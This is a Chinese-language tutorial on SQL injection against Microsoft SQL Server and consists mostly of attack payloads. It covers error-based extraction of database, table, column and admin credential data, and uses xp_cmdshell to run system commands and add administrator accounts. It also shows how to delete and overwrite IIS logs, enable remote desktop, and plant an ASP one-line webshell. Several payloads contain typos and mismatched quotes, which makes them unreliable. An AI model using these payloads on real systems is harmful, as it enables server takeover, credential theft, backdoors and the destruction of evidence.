12 SQL Server 注入详解

12 SQL Server 注入详解

Mssql 介绍

自行百度

MSsql 服务, 端口, 后缀

1433 端口, 后缀是 .mdf, 日志文件后缀 .ldf

常见语句

创建数据库 : create database database-name

删除数据库 : drop database database-name

查询所有 : select * from 表名

数据库权限

sa : 数据库操作, 文件管理, 命令执行, 注册表读取等, 相当于 system 权限

db : 文件管理, 数据库操作等, 相当于 users-adminstrators

public : 数据库操作, 相当于 guest

MSsql数据库调用分析

调用数据库代码

<%

set conn=server.createobject("adodb.connection")

conn.open "provider=sqloledb;source=;local;uid=sa;pwd=******;database=database.name

%>

其中, provider 后面的不用管, 照写; source 后面可以是 ip 地址, 这里用的是本地的; sa 是内置的用户, 它的密码是你在安装时设置的; database 后面是你要连接的数据库的名称, 不需要扩展名

Mssql 注入原理

注入语句

  • 1.判断是否有注入

and 1=1, and 1=2, /, -0
判断注入方法是一样的

  • 2.初步判断是否是 mssql

and user>0

  • 3.判断数据库系统

and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 Access

  • 4.注入参数是字符

and [查询条件] and "=

  • 5.搜索时没过滤参数的

and [查询条件] and '%25'=

  • 6.猜数表名

and (select Count(*) from [表名])>0

  • 7.猜字段

and (select Count(字段名) from 表名)>0

  • 8.猜字段中记录长度

and (select top 1 len(字段名) from 表名)>0

  • 9.-

    • (1)猜字段的 ASCII 值 (Access)

    and (select top 1 asc(mid(字段名,1,1)) from 表名)>0

    • (2)猜字段的 ASCII 值 (MSSQL)

    and (selet top 1 unicode(substring(字段名,1,1)) from 表名)>0

  • 10.测试权限结构 (MSSQL)

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--

and 1=(select IS_SRVROLEMEMBER('serveradmin'));--

and 1=(select IS_SRVROLEMEMBER('setupadmin'));--

and 1=(select IS_SRVROLEMEMBER('securityadmin'));--

and 1=(select IS_SRVROLEMEMBER('diskadmin'));--

and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

and 1=(select IS_SRVROLEMEMBER('db_owner'));--

返回正常说明存在这个权限

  • 11.添加 mssql 和系统的账户

exec master.dbo.sp_addlogin username;--

exec master.dbo.sp_password null,username,password;--

exec master.dbo.sp_addsrvrolemember sysadmin username;--

exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

exec master.dbo.xp_cmdshell 'net user username password /add';--

exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

判断注入

测试站点 : http://testasp.vulnweb.com/showforum.asp?id=0

在加入 ' 后报错, 改成 -0 后返回正常

获取数据库版本信息

id=1 and 1=(select @@version)

id=@@version

获取当前数据库名称

获取当前使用的数据库名称 :

id=1 and 1=(select db_name())

id=db_name()

获取用户数据库名称

获取第一个用户数据库 :

and 1=(select top1 name from master..sysdatabases where dbid>4)

因为前面 4 个数据库都划分给系统了, top 1 dbid>4 就是用户第一个数据库, 也就是第五个数据库

获取下一个用户数据库 :

and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')

<> 是不等于

你直接大于 5 也可以 :

and 1=(select top1 name from master..sysdatabases where dbid>5)

以此类推, 就可以爆出所有数据库名称了

一键爆所有数据库名称 :

and 1=(select name from master..sysdatabases for xml path)

获取表名

获取第一张表 admin :

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

获取第二张表 :

?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<> 'admin')

admin 是第一个表名

爆出所有表 :

id=1 and 1=(select name from sysobjects for xml path)

但是这个很难区分是哪一个数据库的表

获取列名

获取第一个列名 id :

id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin))

然后就是第二个列名 username :

id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin) and name<>'id')

获取第三个列名 password :

id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name='admin) and name<>'id' and name<>'username)

获取表数据

获取第一个用户名 :

id=1 and 1=(select top 1 username from admin)

username 是上面第二个列名, admin 是上面第一个表名

上面语句原理就是利用数据库的查询代码一个个查

显错注入

Mssql 注入另类玩法

MSSQL 注入时用户权限分析

  • sa 权限

  • dbo

  • public

基本信息搜集

  • 注入点判断

and 1=(select is_srvrolemember('sysadmin')) 判断是否是系统管理员

and 1=(select is_srvrolemember('db_owner')) 判断是否是库权限

and 1=(select is_srvrolemember('public')) 判断是否是 public 权限

and 1=convert(int,db_name())1=(select ad_name()) 爆当前数据库名

and 1=(select @@servername) 爆本地服务器名

and 1=(select HAS_DBACCESS('master')) 判断是否有库读取权限

利用 MSSQL 扩展存储注入攻击

  • 检测与恢复扩展存储

判断 xp_cmdshell 扩展存储是否存在

and 1=(select count(*)) from master.dbo.sysobjects where xtype ='x' AND name='xp_cmdshell')

判断 xp_regread 扩展存储过程是否存在

and 1=(select count(*)) from master.dbo.sysobjects where name='xp_regread')

恢复, 下面这两条命令就是把这个插件给它安装上

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell';1;RECONFIGURE

;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

sa 权限下扩展存储攻击利用方法

  • 利用 xp_cmdshell 扩展执行任意命令

  • 查看 c 盘

;drop table black //首先看有没有这个表, 把它删除掉
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--  //然后给它创建这么一个列
;insert into black exec master..xp_cmdshell'dir c:\' //把 CMD 命令执行结果写入到我们这个表里面
and 1=(select top 1 mulu from black where id=1)  //查询这个表的列
  • 创建用户
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

上面命令分号不能省

我们尝试创建用户, 发现报错

这种情况下, 我们就去工具包 数据管理 > sa 开启 xp_cmdshell.txt, 里面列举了各种情况

  • 添加和删除一个 sa 权限的用户 test : (需要 sa 权限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

  • 停掉或激活某个服务 : (需要 sa 权限)

exec master..xp_servicecontrol 'stop','服务名称'

exec master..xp_servicecontrol 'start','服务名称'

  • 爆网站目录

create table labeng(lala nvarchar(255), id int) 创建一个表

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者 and 1=(select count(*) from labeng where lala>1)

其实最简单的就是用 dir 命令将其导入到某一个文件里, 然后查看这个文件就好了

  • 删除日志记录

;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'

  • 替换日志记录

;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

  • 开启远程数据库 1

;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')

  • 开启远程数据库 2:

;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=0.0.0.0,1433;','select * from table')

打开 3389

;exec master..xp_cmdshell 'sc config termservice start=auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfDenyTSConnections /t REG_DWORD /d 0x0 /f' 允许外部连接

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f' 改端口到 80, 不过这样网站就上不了了

我们可以端口转发, 或者上远控木马

端口转发-百度百科

利用 sp_makewebtask 写入一句话木马

;exec sp_makewebtask 'c:\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E"'--

http://mssql.sql.com\aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27-- 你得知道网站的绝对路径, 你才可以写, 否则写不进去的

  • 修改管理员密码

update admin set password=123123 where username='admin';

dbowner 权限下的扩展攻击利用

  • 1.判断数据库用户权限

and 1=(select is_member('db_owner'));--

  • 2.搜索 web 目录

;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));--

然后

;insert into temp(dir,depth,files)exec master.dbo.xp_dirtress 'c:',1,1--

and(select dir from temp where id=1)>0

由于不能一次性获取所有目录文件和文件夹名, 因此需要更改 ID 的值, 依次列出文件和文件夹

写入一句话木马

找到 web 目录后就可以写入一句话木马了

;alter database ssdown5 set RECOVERY FULL

;create table test(str image)--

;backup log ssdown5 to disk='c:\test' with init--

;insert into test(str)values ('<%excute(request("cmd"))%>')--

;backup lof ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--

;alter database ssdown5 set RECOVERY simple

工具使用

穿山甲, 萝卜头, sqlmap 等

pangolin, getWebShell